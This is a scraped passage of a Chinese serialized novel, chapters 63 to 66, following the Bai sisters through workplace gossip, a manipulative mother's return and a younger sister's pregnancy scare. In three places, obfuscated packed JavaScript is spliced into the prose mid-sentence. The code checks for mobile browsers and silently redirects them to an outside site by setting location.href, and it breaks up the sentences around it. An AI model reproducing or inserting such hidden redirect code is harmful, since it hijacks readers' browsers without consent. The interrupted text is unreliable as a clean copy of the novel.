话没有说完,又看见孟西洲由驾驶座里出来,直吓得“哎哟”了一声。直到孟西洲冲他点一点头,才讪笑着道了两声“幸会”,又赶紧加一句“再会”,脚底抹油地开溜了。 他刚对白瑾瑜献一回殷勤,结果就撞上了人家的男友,可不得心虚吗?只是他这边白白惶恐着,孟西洲却并不把他视作“情敌”。 白瑾瑜喜欢什么样的人,他可太清楚了,是以一看余佰话多跳脱,也知道白瑾瑜大约当他是个凑趣的乐子,还说:“有个邻居给你逗趣,我倒不怕你平时无聊了。” 63. 第 63 章 再说白瑾璎,自从上次回家时被风吹得头疼,尽管当下将那不适给掩饰了过去,可第二天一早,便发起了低烧。 好在这一天统共只有一堂课,白瑾璎给吴老师挂去一个电话,和他商量着换课,事情也就解决了。只是有两本教材和备课用的教案本,非得跑一趟学校拿回来不可。 放在平时,白瑾瑜是责无旁贷的,偏偏这天就是抽不开身。想来想去,再不情愿,也只好给蒋牧城挂了电话,将人托付过去。 蒋牧城如今稳坐着海关二把手的位置,除非有很要紧的会晤,去不去点卯,全凭他自己高兴而已,何况白瑾璎又生了病,他绝没有不来的道理。待将车停到了36号门前,白瑾璎矮身坐进副手座时,下意识便伸出手想要探一探她额头的温度。 白瑾璎却没有留意,一坐定便扭头冲他笑了一笑,用一双剔透无辜的眸子将他望着。 蒋牧城看她面色苍白,先就生出满心的怜惜,再看她略带不解的神态,实在有一种小动物似的纯洁。自己在这种时候动手动脚,反倒有趁人之危的嫌疑,愈发可恶了。 于是那手便只是越过她,拉上了车窗上的漏雪纱的帘子,便很稳地将洋车发动起来。 拿几本书的事,不必大张旗鼓地出动两个人,于是在第三中学的校门外停车后,蒋牧城便坐在车里等着,由白瑾璎自己去到办公室。只是这样一来一回的距离,偏偏就碰上了程佩生。毋宁说,是程佩生在蹲守着她哩。 上回见到蒋牧城来接人后,只一个对视,程佩生便认定了他是一个“劲敌”,事后越想越觉得心烦意乱,势必要找白瑾璎打探清楚才好。 是以问候过她的病情,便将话头引到了蒋牧城的身上,佯装不经意地道:“我知道你是很注重隐私的人,对外不大谈私事,但你的保密工作也做的太好,那天开车来接你的先生——”他带着俏皮意味地眨了下眼,“我快要给你们道恭喜了吗?还是我这一声恭喜,其实已经晚了呢?” 他看向白瑾璎一双纤白的手,上头倒是没有戴戒指,不过也不是没有为了书写方便的缘故才不戴之可能。 只是没有想到,他不过调侃一句,白瑾璎的脸却肉眼可见地红起来,在那缺乏气色的白皮肤上,更显得像沁着血似的。白瑾璎自己也搞不懂,怎么前有徐百富后有程佩生,但凡有人开自己和蒋牧城的玩笑,她的反应就是这样的大? 可他们毕竟不是......不能别人抱了开玩笑的心,自己就真的一笑置之。 是以极力地按下乱得不成章法的心跳,正了脸色道:“不要瞎说,为着彼此家里交情很深的缘故,他才格外的关照我,我们不是——”白瑾璎咬了咬下唇,“这样胡猜的话,不要再说了,对他对我,都很不好。” 分明将事情澄清了,心里又无端觉得空落落的。 反倒是程佩生松了口气,笑了笑说:“好,是我胡猜,还猜错了。白老师快拿了东西,回去好好休息吧。” 白瑾璎断然否认和那先生有婚姻的关系,这当然给了他一分希望,只是程佩生也没有全然地放松。看白瑾璎刚才的神色,若说是羞愤,那显然也是羞更多于愤,她对于那位先生,未必是全无情谊的,自己要怎样使一位女子的心意发生转移,那又是一道难题。 这样一想,复又叹了口气,摇着头回去了办公室。 另一边,蒋牧城将车停靠在校门外,也不是无事发生的。实际上,他的车一停下,便赶上缪昌平由教室里出来,在三楼的走廊上向外一望,第一眼便看见了这亮堂气派的林肯牌汽车。 同样是走在大街上,若说女子的目光容易被珠宝华服之流的漂亮物件所吸引,那么吸引男子目光的,无疑是一辆好轿车了。 自己什么时候也能买一部洋车过把瘾呢?林肯牌的洋车必然是买不起的,那就买最普通的牌子,价格虽然也是不菲,可开出去,多么有面子! 缪昌平正想得入神,那边林肯车的车门一开,想不到竟是白老师迈了出来。她下了车,却并不马上就走,而是回过头和车里的人依依惜别似的,片刻后才往学校里来。 缪昌平满心的艳羡顿时化作不满,由鼻子里讥讽地哼了一声,心道:这世道还是当女子好,处处可以受到优待,不光公车上写了礼让妇女,上电影院上餐厅,同样要以女子为优先,不然就显得你不是个绅士,听闻那些轮船或是飞机一旦失事,连逃生的机会,也是要先让给妇女儿童的! 这还是寻常的女子,设若有美貌,那更加了不得了!不光能享受优待,随便勾一勾指头,那简直有数不尽的男子愿意奉上钱财和好处! 缪昌平心里泛着酸,可恨那些便利与好处不是给自己的,还自觉受到了社会的亏待呢!他忿忿不平地往教室办公室走,刚过一个拐角,差点吓了一跳,由林肯车里下来的白老师正站在办公室外,和新来的教务秘书讲话哩! 这两个人,可都是他的眼中钉。白瑾璎就不必说了,一次期中考试,就差把自己踩到地下去了;那个程佩生呢,话里话外都是偏帮着白老师的意思,他也都记着呢。 是以缪昌平并不现身,而是远远地看着那边的情形。他站得远,并听不见两人的谈话,只看见程□□说了句什么,白老师的脸即刻便红了,滴血也似。他便像嗅到了隐秘的香油味的老鼠,整个大脑都兴奋起来。 那边白瑾璎很快就走了,缪昌平却对那场面久久的不忘,认为那里头大有文章可做。 下午跑了一趟教务处,果然叫他发现了一点端倪——那姓程的教务秘书桌上放了几张相片,除去家人或教育处领导的留影,其中有一张,似乎是和同窗好友的大合影,里头的男女,都还很有学生气。 缪昌平仔细瞧了一眼,果真在里头找到了程佩生,再定睛一看,站在程佩生旁边的女子,怎的就和白老师长得这样像? 他心里本就惊骇,偏偏身后传来一道声音问:“缪老师这是在做什么?”吓得他险些惊叫出声!回头一看正是程佩生,因自己在偷看人家的私人物件,先就有些讪讪的,释放出友好的微笑道:“别误会,别误会,我是无意间在相片上看见了程□□读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817799|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书时的样子,感到很稀奇。” 相片摆在桌上,总不能阻止人家去看,如若是禁止去看的,又何必摆出来?程佩生便没有多说什么。 缪昌平见他脸色还好,这便转起了脑筋,试探道:“不过我倒不晓得,您和咱们白老师,还是老熟人呀?看那相片里站在您旁边的,不就是白老师吗?怪道白老师的教学水平这样高,原来和您是师出同门哩。” 他先说上一筐白瑾璎的好话,让程佩生听舒坦了,多少也能卸下对自己的防备心。 程佩生倒并不遮掩,自己和白瑾璎毕业于京师大学的事,本来也无需当做秘密,便说:“老熟人谈不上,她是我一位学妹,从前读书的时候,成绩就是数一数二的好,实在是一个人才。” “是,是。”缪昌平听着这句“人才”便觉得火大,偏偏脸上还得挤出笑脸来,“我看您对她,是很照顾的样子,我想不光为着白老师是一个人才,这份一道求学读书的情谊,也是很深厚的呀。” 说话的同时,不忘密切留意着程佩生的神情,见他有一瞬间的失神,这就无异于是一针振奋剂了!心想,这姓程的对姓白的要是没点意思,我缪昌平的名字便倒过来写! 但光是这样还不够,于是再接再厉地又说一句:“要我说,我看那相片上你二人站在一起,真是很登对的样子。我一个教洋文的,免不了西方罗曼蒂克那一套,程□□,不要是保守了什么恋爱上的秘密吧?敝校对于教师间的爱情,那是不禁止的。” 这同样是在臆测关系了,程佩生下意识便想到了白瑾璎对此的态度,当下正色道:“胡说八道,什么秘密不秘密,这是子虚乌有的事!” 缪昌平见他语气很重,也就不再冒进,顺着他的话道:“当然是胡说,罗曼蒂克可不就是胡说么,程□□千万不要同我计较。” 程佩生抿着嘴唇望着他,点一点头,意思这件事便算是过去了。可余光里瞥见那一张相片,白瑾璎婷婷地站在自己身旁,他记得很清楚,是那时的学生会长陶伯谦开了一句小玩笑,这才把白瑾璎调了过来。 于是微蹙着眉头,心里一会儿是来接白瑾璎下课的挺拔男子,一会儿是那张站位亲密的相片,生硬地问了一句:“我和白老师,当真瞧着很登对吗?” 缪昌平简直是心花怒放了,咬着牙才算没有笑出声来,向程佩生拱了拱手道:“男才女貌,您就往后看着吧。”退出了教务处。 他二人各怀心思。在缪昌平,当然要放一点爱情的谣言出来,设若程白二人真成了眷属,他乐得在程佩生那里讨一个人情;设若白瑾璎跟了那林肯车的主人(那洋车接来送去,少说也有两三回了),那也是她嫌贫爱富,关他缪昌平什么事? 而在程佩生呢,他想争一争白瑾璎,唯一可以倚仗的优势,无非就是两人同在一处工作,相处的时间略多一点罢了。且女子是很容易被言语所打动的,在这环境之下,设若有更多同僚的声援,自己的分量,会不会更重一点呢? 是以,这一段谣言的愈演愈烈,也就可以想见了。 64. 第 64 章 再说白瑾琪,自从与郑家树有过亲密的行动后,总觉得对方的态度发生了转变。在社团排练时总是粘着她不说,对于人前表现出与她亲近的一面,也愈发不再避讳,反倒让白瑾琪不大耐烦起来。 在此期间,出于一种对刺激的追求,亦或是新鲜感尚未过去,倒是又和郑家树有过几次单独的幽会,和第一次相比可谓是云泥之别。白瑾琪很是满意,觉得艺术作品里那一种隐晦的关于极乐的表达,倒也不全是骗人。 不过一想到头上有白瑾瑜这座大山压着,即便拿戏剧社排练当借口,也不能逗留得太晚,到底不敢太过放肆,和郑家树的秘密行动,不过只在两三回罢了。 白瑾琪有更要紧的事——学期末的大戏,她又当选了女三号的角色。 既然是学期末的演出,对于四年级的学生而言,那就是毕业前的最后一出戏了,是以男女主人公的人选,势必要由四年级的学生来担任。郑家树正是四年级,自然是当之无愧的男主角,女主角则挑选了另一位准毕业生。 白瑾琪对于自己的角色倒很满意,再说她之所以能拿下这一角色,还要归功于最近的节食哩!她在新的剧目里有许多舞蹈的戏份,试演时踮着脚在舞台上转一圈,飘开的长裙子衬着一把细细的腰肢,实在是漂亮。 虽说在演艺的道路上还没等来什么机遇,但就眼前来看,能抓住毕业演出的机会,也算是积累经验了。 于是大伙儿一道约了吃午饭时,白瑾琪也高高兴兴地凑了一脚。席间正有人说到一位女星突然宣布息影的新闻,一女同学道:“我很闹不明白,她在上一部电影里表现很好,又是崭露头角的新秀,怎么就不演了?真可惜。” 对面的男同学笑道:“这有什么不明白的,女明星突然息影,无非就是结婚去了,要么就是怀孕了,以此要挟和男方结婚。你想,一部接一部的电影,总有你拍的,可攀上权贵富豪的机会,可不是常有的。” 另一个男学生也附和道:“是了,是了。若不是找了个有钱有势的,确保自己下半辈子不愁吃穿,又怎会息影呢?反过来想,设若结婚之后还演着情情爱爱的电影,丈夫又是有头有脸的人物,如何能够忍受?必然只有息影一途了。” 在众人说话的时候,白瑾琪总是一副不大赞同的神态。 郑家树偷偷觑了她一眼,意有所指地委婉道:“话不是这样说,好像女明星总是攀龙附凤似的。不过结婚之后总得顾着家里,这就分掉许多精力,再要兼顾演戏,那就太辛苦了。找个值得托付的人回归家庭,不失为是一种理想的生活呀。” 他这样说,当下就有女同学夸他讲话公道又体贴,还有一个直说道:“要我说,郑学长往后也是个值得托付的人哩!” 郑家树对此倒没什么表示,只拿目光追随着白瑾琪,看她虽然没有说话,却撇了撇嘴。也不知她有没有将别人夸赞他“值得托付”的话听进去,这一撇嘴,是对他的话表示不赞同呢,还是为了别的女同学夸他,而感到吃味呢...... 白瑾琪当然是不赞同,甚至觉得那女明星真是犯傻,放着万众瞩目的机会不要,回归什么家庭!哪怕再打拼两年呢?名气高了,一样是找有钱人结婚,也能找名声威望与自己更匹配的有钱人不是? 设若是我,才不干这样的傻事! 对于郑家树的话,更是不以为意了,以至于那之后郑家树几次有意接她的话头,她都没怎么搭理。 排演结束后径自回家,因为拿到了角色的缘故,白瑾琪心里高兴,难得地想要祭一祭五脏庙以作奖励,时隔几个礼拜,晚上也可以吃一口饭了。这样想着,胃里的馋虫似乎也跟着一滚,勾得她忍不住探头去看街上西点玻璃柜里的鲜奶油蛋糕。 正是这时候,白瑾琪听见有人叫了她两声。 那声音真是熟悉,怎么会不熟悉呢,她都听了有十多年了呀。有一阵子,她连睡着都能梦见那声音,可惜她在梦里心急如焚茫然四顾,就是见不到那声音的主人。醒了才想起来,那声音的主人,早就抛下她跑啦。 怎么现在又听到了呢?总不能是那人又回来找她了吧? 有那么一瞬,白瑾琪甚至不敢回头,只能木愣愣地站在原地。既怕那声音是幻觉,又怕那声音是真的。 直到有一只手过来拨了拨她的肩膀,陈芳藻久违的脸出现在白瑾琪的眼前。 她穿了一身橘色绣大花样的旗袍,白瑾琪还记得,这是从前陈芳藻某一次带她一道逛街时做的,她自己做了身旗袍,又给白瑾琪买了当时很流行的荷叶领连身裙。她看着这件熟悉的旗袍,从前许多回忆都控制不住地冒出头来。 她的眼神直愣愣的,嘴唇微微张开,下意识想要叫一声“妈”,但怎么都发不出声来。 反倒是陈芳藻,一瞧见白瑾琪的脸,先就淌了两道眼泪下来,抱着她哭道:“瑾琪,我的儿啊!我可是找到你了!你、你可千万不要怪罪妈妈呀!” 母女两个骤然见面,白瑾琪就不想哭吗?只是在人来人往的大街上,陈芳藻情绪失控地哭叫,很快就引得路人扭头来看她们;再想到当初正是自己的母亲卷了财产不告而别,白瑾琪硬是狠下心肠,使劲拆开了陈芳藻搂紧她的手臂,冷冷道:“在街上大哭大叫,像什么样子?有什么话,找个地方再说吧。” 说着,自顾自进了临街一家咖啡馆,陈芳藻见她是很冷淡的样子,反倒有些讪讪的,擦了擦眼泪紧跟上去。 一落座,不等白瑾琪开口,陈芳藻抢先对服务生道:“要一杯咖啡,再要一杯蔻蔻。”含着讨好的笑脸看向白瑾琪,“我记得你就爱喝这个,一定要热热甜甜的。” 她刚哭过一嗓子,情绪多少得到纾解,终于有功夫仔细打量起对面的白瑾琪。只见她穿一身蓝布面的学生装,可见正好好地上着学,再看她精致水灵的样子,料定日子过得不差,看来她两个姐姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823130|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有撇下她不管嘛。反倒是自己—— 陈芳藻略显局促地把鬈发别到耳后,这头发还是好几个月前烫的,哪怕平时极力地保养,现在瞧着也松散了。她理了理头发,又向对面的人放了个笑容。 白瑾琪却没有露笑脸,扭头吩咐服务生道:“不要蔻蔻,也给我一杯咖啡。” 这在陈芳藻看来,当然是对她示好的拒绝,当下又泫然欲泣起来,“瑾琪,你这是还在恨着妈妈呀!” 白瑾琪咬着嘴唇,扭开视线道:“你不要叫,也不必哭,把你丢下我不告而别的事说清楚,我也不会恨你。再有,你既然回了首都,那么我的那一份遗产,也该还给我了吧。” 陈芳藻想不到她会这么冷静似的,一脸受伤的望了她道:“你这样说,真是在剜我的心!我、我那时候离开,绝不是要丢下你,我是去上海想法子去了呀!” 说着说着,又红着眼睛落下泪来,拿手绢拭着眼角接着道,“你想,我一个妇道人家,既要找落脚的地方,又要想安身立命的法子,再带着你可怎么好?上海未必就呆得下去,兴许就要转去苏州,或者去更远的重庆,你的书还读不读?我自己漂泊不定就算了,带着你,那是耽误你!” 她吸了吸鼻子,“我只好先去上海,找从前几个朋友买点股票试试,咱们的钱——”提到钱,陈芳藻便有些心虚,飞快地眨了几下眼睛,避开白瑾琪的视线讪笑一下,说,“总归是我的错,把钱亏出去不少,可我受了这次失败,立刻便收手了!瑾琪,我、我的日子并不好过呀!” 她的声音提高,眼泪又淌了满脸,“我在上海,心里没有一天不记挂着你,妈妈离不开你呀!我这次回来,拼了命地打听你的消息,逢人就问白府的三位小姐搬去了哪儿,我想着要是再找不到,就去大公报上登一则启事,你要是看见了,总不会狠心不见我这个妈!” 白瑾琪默默地听着,听到那句漂泊不定怕耽误她时,心里不能说没有一点动摇。记忆里那些和陈芳藻热热闹闹的场面,似乎又给这一份母爱润色了。 陈芳藻自责道:“我真后悔,为了追求什么独立,非要撇开你先跑去上海,落得个失败的下场。早知如此,不如就留在北京,咱们母女两个找一栋小房子住,用手上几处房产收一点租金,虽然比不上从前的舒坦日子,精神上总是幸福的。” “想想看,你去大学里念书,妈妈就出去找点事做,找不到就学学烧菜,等你回来了,咱们一道吃热腾腾的饭菜,多么好!到了休息天,我们娘俩还像从前一样逛公园,去百货店看——” 她讲得太动情,像编织了一张美梦的大网,白瑾琪被笼罩在其中,终于抵挡不住对母爱的渴望,由那半掩着的眼睫下,掉出一滴眼泪来。 陈芳藻看在眼里,像是徒然见到了希望,眼底一亮。 她又觑了觑白瑾琪的脸色,放柔了声音试探道:“这样的生活,现在也不是不能实现呀!” 65. 第 65 章 白瑾琪终于抬起眼来,拿被眼泪润湿的清清亮亮的眸子正眼看向陈芳藻,瓮声瓮气道:“怎么说?我现在和大姐姐二姐姐住在一起,你要搬来和我们一道住吗?” 陈芳藻一愣,当下叫道:“那不行,那不行。我之前不告而别,虽说有我自己的考量,可你大姐姐一定恨死我了!我现在回去,她哪里会放过我?非得剥我一层皮不可!” 自从姐妹三个搬到椿樟街后,白瑾琪对白瑾瑜的印象,实在有很大的扭转,哪怕她嘴上不承认,心里也隐隐将她看作是家里最靠得上的顶梁柱。此刻见陈芳藻对她没有一句好话,反倒拧起眉头,反驳道:“大姐姐又不是土匪恶霸,你把你的理由和她讲了,真有道理,她为什么恨你?你一跑没影了,她待我,一样也很好。” 陈芳藻这就有些意外,想不到自己这个女儿会帮着白瑾瑜讲话,但她自知是理亏的一方,当下也就转变了态度,放出微笑道:“我知道,她人不坏,但我实在怕她呀。你忘了,咱们从前在公馆的时候,我和她处得就不大融洽。” 她又是一笑,“所以我想,还是你搬出来和我住,咱们是打不散的亲母女,我想你两个姐姐,总不会不同意。” 和陈芳藻一起住并不是不好,只是......白瑾琪忍不住想起这段时间在椿樟街的日子,她们三个围着圆桌子吃饭,她在桌上叽叽喳喳说个不停,白瑾瑜和白瑾璎则间或插上几句,虞妈从厨房端来热汤,远远地就能闻着香气,那气氛是很温馨的。 还有上回的公益演出,大姐姐说把钱白白地捐出去还不如给她买几身衣服,事后果然带她去逛了洋装店,添置了好几件冬天的毛线衫,又买了一双新皮鞋。所花费的,可远远超过了捐款的数目。 还有二姐姐,最是和风细雨了,虽然时不时地问她一句学业,可从来不会强迫别人做事,自己有什么烦闷,都可以向她去倾诉。还有把家里照料得井井有条的虞妈......自己真要离开她们了吗? 白瑾琪实在感到舍不得,可仔细想一想,让陈芳藻和白瑾瑜住在同一屋檐下,不说自己没有决定的权利,恐怕白瑾瑜也不舒坦。 只好带着失落,退一步道:“即便我们搬出来住,最好也能住在临近椿樟街的地方,和两个姐姐,也可以彼此照应。” 陈芳藻听她这样说,反而高兴起来,附和道:“是是是,我正是这样想的。你的两个姐姐,都是有钱有本领的新式女子哩,你年纪最小,正是需要她们帮一帮你的时候——” 她呷了口咖啡,不大好开口似的,静默了一瞬才说:“只是离椿樟街近的房子——瑾琪,你不要这样看着妈妈。咱们分得的钱,虽然让我闹了一笔小亏空,但房契还是在的,只是那几间房子,没有一间在椿樟街的附近。要想租一间,不说能不能租得到,所费就不小,偏偏在现成的银钱上,我们是很困难的......” 陈芳藻的笑容里透出一丝心虚,“为着我先前犯的错误,你的两个姐姐,势必对我很有微词,我就不便出现在她们面前,去激化这一份矛盾。何况我又是个外人,和你不一样,瑾琪,我看她们对你倒很有几分亲姐妹的情谊,这件事能不能做成,还得靠你从中斡旋呢。” 白瑾琪听出来了,陈芳藻是不愿意低声下气地去认错,有意要避开正面的交锋。可是靠她怎么斡旋?白瑾瑜那样聪明,但凡她有目的地说一句陈芳藻的好话,就足够引发她的怀疑了,还不如开诚布公地摊开了说。 她心里也在思忖着,当下便没有做出回应。 陈芳藻见她不说话,便两手交握着攥紧了,硬了头皮说下去:“这件事,妈妈真要求你帮一帮忙。你两个姐姐现在带着你生活不错,可你要是照实说要搬出来和我住,她们乐得丢开你这个包袱,不管你了。所以你得好好地说,你姐姐们现在待你很好,你正好哄一哄她们,多说几句好话,请她们替咱们置办好房子,这在她们,只是动动手指头的事儿呀。” 那意思,是让白瑾琪出面,求两个姐姐给她买房产了。 为着陈芳藻带走了所有钱款的缘故,自己本来就是身无分文,好在白瑾瑜并不说她什么,照样管着她的吃穿用度。就这样她还不知足,还要问白瑾瑜要房要地吗?她成什么人了? 白瑾琪像被人打了一耳光似的,脸上火辣辣地羞愧着,咬着牙道:“你连见都不敢见我大姐姐,却要我问她拿房子?妈,你未免把我想得太厉害。” 她把一个“妈”字咬得极重,实在能听出一种讽刺的意味,同时一张俏脸冷沉着,绷着嘴唇又说,“你不是说房契还在吗?我分到的房子,总有两三处之多,实在不行,就住得远一点,或者卖掉一间,还不够租赁屋子的费用吗?你想让姐姐出钱,没有这样的道理。” 说罢,手心向上往前一伸,“房契呢?这是爸爸留给我的,我来保管吧。” 从前住在公馆时,她们就没为钱发过愁,这就避免了□□成的争吵。是以,这还是白瑾琪头一回用这么冷硬坚决的口气和陈芳藻说话呢,加上那向上摊开的手掌,实在让陈芳藻吓得心惊肉跳。 笑容僵硬一瞬,立刻安抚道:“你的东西,当然要给你,只是我在外头东奔西跑地找你,哪里会把房契带在身上?我好好地放在旅店里呢。傻孩子,往后我们住在一起,还怕东西到不了你手上吗?” 陈芳藻想着她刚才的诘问,知道自己一时片刻并不能把女儿说动,她惯会审时度势,现在自己是毫无倚仗的弱势一方,当然只有服软一途。 改口道:“妈妈糊涂,又是妈妈想差了。我当初想着去上海求独立,不就是糊涂劲犯了吗?唉,我现在是决心反省了。你是受过教育有知识的人,往后一切,妈妈都听你的。” 见白瑾琪神情松动却不说话,又添一把火:“我也想了,既然往后要互相照应,我不去见你大姐姐,和她道一个歉,终究说不过去。不过在我拜访之前,你还是得替为娘调和调和,不能让我碰一鼻子灰,太难看了呀。” 白瑾琪惊讶地看她:“你真愿意去见我大姐姐,和她道歉?” 陈芳藻讪笑一下,“我很应当去见她,我看她把你照顾得很好,是以我不光要道歉,还要和她道个谢哩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840941|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一个表态,实在扣动了白瑾琪的心房。她舍不得白瑾瑜,同样也割舍不了陈芳藻,可谓是手心手背的局面,设若她们真能和平地相处,那真是再理想不过了。另有一点,只要陈芳藻见过了白瑾瑜,那她再和母亲搬出去住,就算是过了明路了,不必有偷偷摸摸的憋屈感。 再说白瑾瑜,她是很讲道理的一个人,陈芳藻大概有许多地方让她看不过眼,但毕竟是一道生活了十来年的关系,自己若尽全力去调解转圜,不是没有破冰的希望呀...... 这样想着,白瑾琪的脸上,终于露出一点向往的笑容。 陈芳藻见了,立刻抓住这个时机,拿出一张旅店的小名片道:“只是我们怎么联系呢?你大姐姐现在正不待见我,我可不敢给你挂电话,找人递消息呢,也有被她截获之可能,暂且还是由你来联系我吧。” 见白瑾琪收了名片,又支吾着问:“瑾琪,你现在,手头方便吗?我说眼下银钱紧张,那不是假话,不过你那几处房产,我是绝不会动的!我想,你两个姐姐总不会一分零花钱也不给你,你看能不能匀给我一些,我这里对付着,也好找人先将房子看起来。” 白瑾琪手上,倒确实攒下三百多块钱。除却平时白瑾瑜给的零花不算,因为最近有意错开晚饭的缘故,白瑾璎也时不时塞给她一些小钱,方便她在外头买点心吃,不要饿着。白瑾琪咬着牙想瘦,倒是把这一笔笔小钱,积少成多地存起来了。 现在看,这钱倒存得很是时候。 白瑾琪略点了点头答应下来,一看手表,哎呀,竟比平时还晚了近半个钟头,当下不敢再耽搁,匆匆别过陈芳藻往家里去。 回到家里,白瑾瑜正坐在沙发上和白瑾璎说笑,一听见她回来便扭头望过来问:“怎么今天比平时还晚些?”可见时刻留意着大门口的动静。 白瑾琪被问得心里一抖,见白瑾瑜并白瑾璎都是笑意盈盈的,实在是很好的气氛,设若自己骤然提及陈芳藻,那无疑是要把这和乐融融的氛围给打破了。不,不,还是慢慢来的好。 于是只说:“和一个同学去咖啡馆坐了坐,一谈话,就忘了时间。” 白瑾瑜瞅了她一眼,漂亮的眉梢微抬,“怎么眼圈红红的?你们戏剧社给你排了哭戏吗?”对此,她也没有多加评判,只是喊来了女佣人,“阿苗,阿苗,给瑾琪拧一条热毛巾敷一敷脸吧!” 白瑾琪只觉得心里一暖,可当视线扫过收拾干净的圆桌子时,心里又一突,她无疑又错过了家里的晚饭。 唉,她和陈芳藻谈话的时候满腹忧郁,哪里有心思吃东西,光喝了两口苦咖啡,本来还想着晚上破例多吃几口犒劳自己呢,结果这个计划也宣告破灭。那怎么办?不如就将瘦的决心坚持到底吧! 白瑾琪舒服地敷了脸便回房间休息,然而到了半夜,那种饥饿却愈发的难以忍受。 她从前抱定了不吃的决心,那就可以咬牙坚持,但因今天生出过“想吃”的念头,潜意识里,对食物渴望的门户,就给打开了。 白瑾琪在床上睡得颇不安稳,三更半夜,竟给饿醒了。 66. 第 66 章 白瑾琪几次闭眼尝试着入睡,都没能成功,于是干脆掀了被子,蹑手蹑脚地摸下了楼。 家里的外国饼干放在哪里来着?可一想到那种硬脆又偏干的口感,配着白水吃,实在也没什么滋味。她一面走一面想,愈是靠近厨房,愈发闻到一丝浓郁的香气,带着钩子的鱼线似的,勾着她一步步蹭过去。 扭开电灯一看,只见炉灶上放着一个陶瓷的大锅,再将锅盖一揭开,黄豆猪脚汤那浓郁霸道的香气,立时带着余温直往人的脸上扑。 白瑾琪当下便控制不住地吞咽一下,几乎已经想象得到它鲜香微黏的口感了,心想:我这许久没有吃过一顿像样饱饭的人,今天破例小小喝一碗汤,总不要紧吧? 于是自取了碗勺,盛了奶白浓香的一碗,一勺接一勺,活像品味珍馐一般饮尽了。汤碗见底,那灵动的眼睛又瞥向了锅里炖得软烂晶莹的猪脚,舔着粘乎乎的嘴唇,动摇地想:猪脚是很好的东西,多吃一点,还有美容之功效哩!我虽然要瘦,可肌肤的饱满美丽,也绝不能拉下,故而我吃一个,也是情有可原的! 当下不再有负罪感,舀了一只软嫩猪脚,三两口嗦下肚去。 大半个月来,白瑾琪的五脏庙还是头一回有了“饱腹”的满足感,她美美地回去房间睡觉,想不到这满足感却没能持久,迷迷糊糊快到早上的时候,像是越缠越紧的布条似的,勒得人腹部连带着胸口都发闷。 白瑾琪就是在这一阵难受劲儿下苏醒的,一下床还没有站直呢,便觉得从胃里反上什么来直冲喉头,先就奔去盥洗室吐了个昏天黑地。 脑袋空白地吐完了,刚一想到昨晚上偷喝的猪脚汤,又是一阵恶心打哕。也正是这个时候,一个念头在脑海中闪现,白瑾琪当下被吓得浑身发冷,连呕吐都顾不上了。 我这......不要是怀孕了吧? 一旦往这个方向去深想,便又注意到了一件可怕的事:她每月准时的那几天,这个月还迟迟没有来。 白瑾琪倒吸了口气,只觉得这一下呼吸的工夫,整个后背都发了一层冷汗。仔细想想,她也是根据道听途说,粗略算了算日子和郑家树秘密约会,本来自己算术就是最差的,何况他们两个生手,没轻没重又没分寸,哪里都是漏洞! 怎么办?怎么办?!首要的一点,那就绝不能告诉白瑾瑜! 究其原因,绝不单单因为白瑾瑜在这个家里的威严,白瑾琪的念头要复杂得多。扪心自问,她对自己实在是不坏,也正因如此,自己闹出一场“未婚先孕”来,不要说白瑾瑜会大大地失望,她自己也像被抽了一记耳光似的,想到从前总标榜自己为“新式女性”,那实在是羞愧。 再有一点,为了她想在演艺界发展的事,白瑾瑜已经和她有过争执,尽管她们现在两两装傻,谁也不提这一茬,可这一根导火索就不存在吗? 白瑾瑜本来就对她的艺术梦颇有微词,她正是卯着劲,想做出一番成绩来证明自己呢。好了,成绩还没拿到,先来了一个孩子,这怎么不是一出巨大的失败?往后她就是稀里糊涂、愚昧轻狂的代名词,这一个污点,就要跟随她一生了! 怎么办、怎么办...... 惊惧的冷颤沿着后背往上爬,白瑾琪眼眶一潮,当下就要哭,可那哭声才刚漏出一点前音,就被她捂着嘴硬生生咽了回去。白瑾瑜做贼心虚似的环顾四处,生怕被人看见,赶紧洗了把脸装作无事。 她躲回房间里,心里料定是闯祸了,捂着肚子,陷入一种被人抛弃似的可怜氛围里。心想:我能去找谁?当然是郑家树!他是始作俑者,我倒要听听他怎么说! 只是身体上带着不适,精神上又压了一座大山,那状态可想而知就不会好。 排练结束后,郑家树倒是跑来关心她,白瑾琪专门往隐蔽无人的地方走,状似无意地压低了声音道:“没什么,我想到昨天大家说的女明星怀孕的事,心里有点慌。万一我也——这种事是说不准的呀。” 郑家树似乎是觉得她的想法有些可笑,说:“胡说八道,没有的事。而且我每次不都是在外面吗,不会有的。” 白瑾琪听着他轻巧的口吻便觉得心里有气,当下停住脚步,正了脸色看着他道:“你说没有就没有吗?如果有了呢?” 